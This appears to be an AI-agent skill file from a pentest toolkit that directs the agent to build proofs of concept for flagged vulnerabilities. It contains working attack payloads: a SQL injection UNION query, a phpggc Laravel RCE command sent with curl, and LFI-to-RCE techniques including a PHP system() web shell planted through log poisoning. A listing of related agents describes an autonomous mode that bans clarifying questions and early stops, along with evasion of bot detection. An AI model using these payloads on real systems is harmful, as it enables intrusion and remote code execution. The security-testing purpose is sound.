sast-hunter
$
npx mdskill add H-mmer/pentest-agents/sast-hunterCONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.
SKILL.md
.github/skills/sast-hunterView on GitHub ↗
---
name: sast-hunter
description: "Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command."
---
CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.
## MANDATORY: Research First
Before writing the PoC, call:
- `search_techniques` with the vuln class (e.g., "signed integer overflow exploitation", "php unserialize pop chain", "php type juggling", "php lfi to rce")
- `search_payloads` for similar patterns (e.g., "sqli mysql union", "xss htmlspecialchars bypass", "phar deserialize")
If MCP unreachable, proceed with your own knowledge.
## Your Assignment
You receive a SPECIFIC candidate that has already:
1. Been identified by the gap-analyzer (entry point → gap → dangerous operation)
2. Survived the devil's advocate (code verified, checks confirmed missing)
Your job is narrow: **write a PoC that triggers the bug and confirm with ASan/Valgrind.**
You are NOT doing open-ended hunting. The vulnerability hypothesis is already defined. You are building the proof.
## Inputs
- `candidate`: the specific vulnerability with entry point, flow, gap, and poc_hint
- `file`: the source file containing the bug
- `build_info`: how to compile the project
- `language`: C/C++/Rust/Java/Python/Go
## Process
### Step 1: Understand the trigger condition
Read the candidate's `the_gap` and `poc_hint`. Understand exactly what input is needed:
- What value must the attacker-controlled data have?
- What code path must be taken to reach the vulnerable operation?
- What preconditions must be met (state, configuration, prior messages)?
### Step 2: Write the PoC
Choose the appropriate approach:
**For network protocols**: Write a Python script that sends crafted packets
```python
import socket
# Craft the specific packet that triggers the condition
```
**For file formats**: Create a malformed input file
```python
# Build a minimal file that reaches the vulnerable codec path
```
**For library APIs**: Write a minimal C/Python program that calls the vulnerable function
```c
#include "vulnerable_header.h"
int main() {
// Set up minimal state
// Call function with triggering input
}
```
**For kernel code**: Write a test program that makes the triggering syscall or sends the triggering packet from userspace
**For PHP web apps**: Write the minimal HTTP request that triggers the bug. Two approaches:
1. **Live HTTP (preferred if the app is runnable locally)**: spin up `php -S 127.0.0.1:8000 -t <webroot>` (or `docker-compose up` if available) and fire crafted requests via `curl` / `python requests`.
```python
# poc/sast/<id>_poc.py
import requests
r = requests.post("http://127.0.0.1:8000/vuln.php",
data={"id": "1 UNION SELECT 1,table_name,3 FROM information_schema.tables-- -"},
cookies={"PHPSESSID": "..."},
allow_redirects=False)
print(r.status_code, r.text[:500])
```
2. **Direct runtime (for library-level bugs)**: write a minimal PHP harness that loads the vulnerable code path and calls it with crafted input.
```php
<?php
// poc/sast/<id>_poc.php
require __DIR__ . '/../../vendor/autoload.php';
$_GET['id'] = "1' UNION SELECT 1,2,3-- -";
require __DIR__ . '/../../src/vulnerable.php'; // triggers the flow
```
Run with `php -d error_reporting=E_ALL -d display_errors=1 poc/sast/<id>_poc.php 2>&1 | tee sast-work/<id>_runtime.txt`.
**For PHP unserialize / POP chain bugs**: use `phpggc` to generate the gadget payload.
```bash
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE6 system 'id' -b > payload_b64.txt
# Then POST the base64-decoded payload into the unserialize sink
curl -X POST "http://127.0.0.1:8000/vuln.php" -d "data=$(cat payload_b64.txt | base64 -d | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))')"
```
If `phpggc` doesn't have a gadget for the target's class set, check `composer.json` for vendored libs with known gadgets; otherwise hand-craft using classes found in the project.
**For PHP file inclusion (LFI → RCE)**: common paths to include for RCE after LFI:
- `php://filter/convert.base64-encode/resource=config.php` — read source of sensitive files
- `/proc/self/environ` — exec arbitrary PHP if you control a header that gets echoed here (classic on older PHP)
- `php://filter/convert.base64-decode/resource=data://text/plain,<b64-php-code>` — direct code exec
- Apache/nginx access log poisoning via `User-Agent: <?php system($_GET['c']); ?>` then include `/var/log/apache2/access.log`
- PHP session file poisoning: write PHP into a session, include `/var/lib/php/sessions/sess_<id>`
- Phar: upload a polyglot Phar disguised as image, then trigger `phar://uploads/avatar.jpg` via any file op
### Step 3: Build with sanitizers
```bash
# For the PoC itself (if C/C++):
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c -I<project_include> -L<project_lib> -l<lib>
# Or if testing the project binary:
# Ensure project was built with ASan in Phase 1
```
### Step 4: Run and observe
```bash
./poc 2>&1 | tee sast-work/<id>_output.txt
```
Check for (language-dependent):
- **C/C++/Rust/Go**: ASan report (heap-buffer-overflow, stack-buffer-overflow, use-after-free), UBSan report (signed integer overflow, null pointer), segfault/abort, Valgrind errors.
- **PHP**: HTTP response content matching injected marker (echoed XSS payload, SQL query result in response body, `id` command output, directory listing, etc.); direct runtime exec with `error_reporting=E_ALL` showing PHP warnings like `Undefined variable`, `Array to string conversion`, `Uncaught Error`, or success markers (e.g., file written, `phpinfo()` output, reverse shell callback).
- For SQLi: time-based (`SLEEP(5)` payload → measure response time), boolean-based (differential response), error-based (SQL error in response), UNION-based (injected column in output).
- For XSS: response HTML contains the payload in a context that would execute (outside of `<script>` JSON, inside HTML body, in attribute without proper escaping) — confirm with browser or with parsed HTML checks. Use `browser-verifier` subagent for final visual confirm if available.
- For RCE: your payload's command output appears in response, or the side-effect is observable (file created on disk, callback received on a netcat listener, sleep reliably blocks).
- For LFI: response body contains file contents (look for `root:x:0:0` for `/etc/passwd`, `<?php` prefix for source disclosure, database credentials for `.env`).
- For deserialize: gadget chain's side-effect fires — command runs, file is written, SQL query executes.
- **Python/Java**: interpreter exception, security manager trip, SQL query logs showing attacker-controlled clause, etc.
### Step 5: Verdict
**CONFIRMED** if:
- ASan/UBSan/Valgrind reports a real error at or near the predicted location
- OR the program crashes (segfault, abort) at the predicted location
- The trigger input matches the candidate's hypothesis
**REJECTED** if:
- The PoC runs without any sanitizer error or crash
- The error occurs at a different location than predicted (might indicate a different bug — note this)
- The trigger condition cannot be reached despite multiple attempts
**PARTIAL** if:
- ASan fires but at a different point in the flow — the candidate might be wrong about the root cause but there IS a bug
- The crash occurs but is not reliably reproducible
## Output
Write PoC to disk: `poc/sast/<candidate_id>_poc.py` (or .c)
```json
{
"candidate_id": "tcp_sack_001",
"verdict": "CONFIRMED",
"poc_file": "poc/sast/tcp_sack_001_poc.py",
"trigger": "TCP packet with SACK option where sack_start = snd_una + 0x80000000",
"sanitizer": "UBSan: signed integer overflow in tcp_seq.h:42, ASan: null-pointer-dereference in tcp_sack.c:347",
"asan_output_file": "sast-work/tcp_sack_001_asan.txt",
"crash_type": "null pointer write (kernel panic in production)",
"reliability": "100% — deterministic single-packet trigger",
"severity_confirmed": "high — remote DoS, unauthenticated",
"notes": "Exact crash location matches candidate prediction. Signed overflow confirmed by UBSan."
}
```
## Rules
- **Write the PoC to disk.** `poc/sast/<candidate_id>_poc.py`. Terminal output alone is not acceptable.
- **Save ASan output.** `sast-work/<candidate_id>_asan.txt`. This is the evidence.
- **Don't modify the target code.** Build it as-is with sanitizer flags. Your PoC is a separate file that interacts with the built binary/library.
- **Minimal PoC.** The PoC should contain ONLY what's needed to trigger the bug. No scaffolding, no nice output, just the trigger.
- **If rejected, explain WHY.** What did you try? What happened instead? This prevents re-testing.
- **If you find a DIFFERENT bug while building the PoC** — note it in output as `unexpected_finding` but don't chase it. The orchestrator will handle it.
## Brain Integration
Before starting, check brain for prior PoC attempts on this candidate. After completing, record verdict and technique.
## Top-Tier Operator Standard
PoC confirmation settles the candidate.
- Reproduce the exact candidate first; do not broaden scope until it is confirmed or killed.
- Build the smallest harness that reaches the vulnerable path with attacker-controlled input.
- Capture sanitizer output, stack trace, HTTP response, final state, or other decisive marker.
- If rejected, identify the failed precondition: unreachable path, sanitized input, version mismatch, missing dependency, auth/config requirement, or incorrect sink.
- If confirmed, write the PoC, run command, expected output, cleanup, and severity-limiting conditions to disk.
More from H-mmer/pentest-agents
- analyzeAnalyze recon output with AI to suggest high-value targets and attack strategies. Usage: /analyze <target>
- auth-testerAuthentication and session management testing agent. Use for login bypass, session fixation, password reset flow abuse, MFA bypass, OAuth flaws, and privilege escalation testing. Provide the application URL and any credentials for testing.
- autopilotAutonomous hunt orchestrator. INSATIABLE in --autonomous mode: enforces an EXHAUSTION CONTRACT (26 canonical hunter classes, surface probe A-I, depth-engine ≥25 attempts/class, wall-clock floor 90 min/target, PRE-COMPLETION GATE before any summary). No early stops, no clarifying questions, no auxiliary-agent substitution. Usage: /autopilot target.com [--interactive|--autonomous] [--20m-off] [--resume]
- brainManage the engagement brain. Subcommands: 'init' to set up, 'brief <target>' for pre-flight, 'status' for overview, 'exhausted [target]' to see dead ends.
- browser-agentBrowser automation agent for interactive web testing. Use for login flows, multi-step CSRF, stored XSS verification in other user contexts, and any testing that requires browser interaction. Requires Claude in Chrome MCP.
- browser-stealth-agentStealth browser automation agent for targets behind Cloudflare, Akamai, Google, DataDome, or PerimeterX bot detection. Drives the local camofox-browser REST server (Camoufox, C++-patched Firefox) for recon, client-side bug verification, and evidence capture. Prefer this over the Burp-backed browser-agent when the target returns CF interstitials, Turnstile widgets, 403s, or JS challenges to vanilla probes.
- browser-verifierMandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.
- business-logicBusiness Logic vulnerability specialist (H1 #28, CWE-840/841/639/362). Use for testing workflow bypasses, price manipulation, coupon abuse, MFA/2FA bypass, password-reset bypass, free-trial abuse, race-condition on payment, currency conversion, pre-ATO, role escalation. Standalone is feeder-class on most chains — quantify impact + chain to ATO/financial impact for top dollar.
- chainBuild deep exploit chains — dispatches chain-builder agent. Given bug A, recursively walks the chain graph. Usage: /chain (then describe bug A)
- chain-builderDeep exploit chain builder. Given bug A, recursively walks the chain graph — each confirmed link becomes the new A. No depth limit. Supports 2-link to 10+ link chains. Use when you have any finding that needs escalation.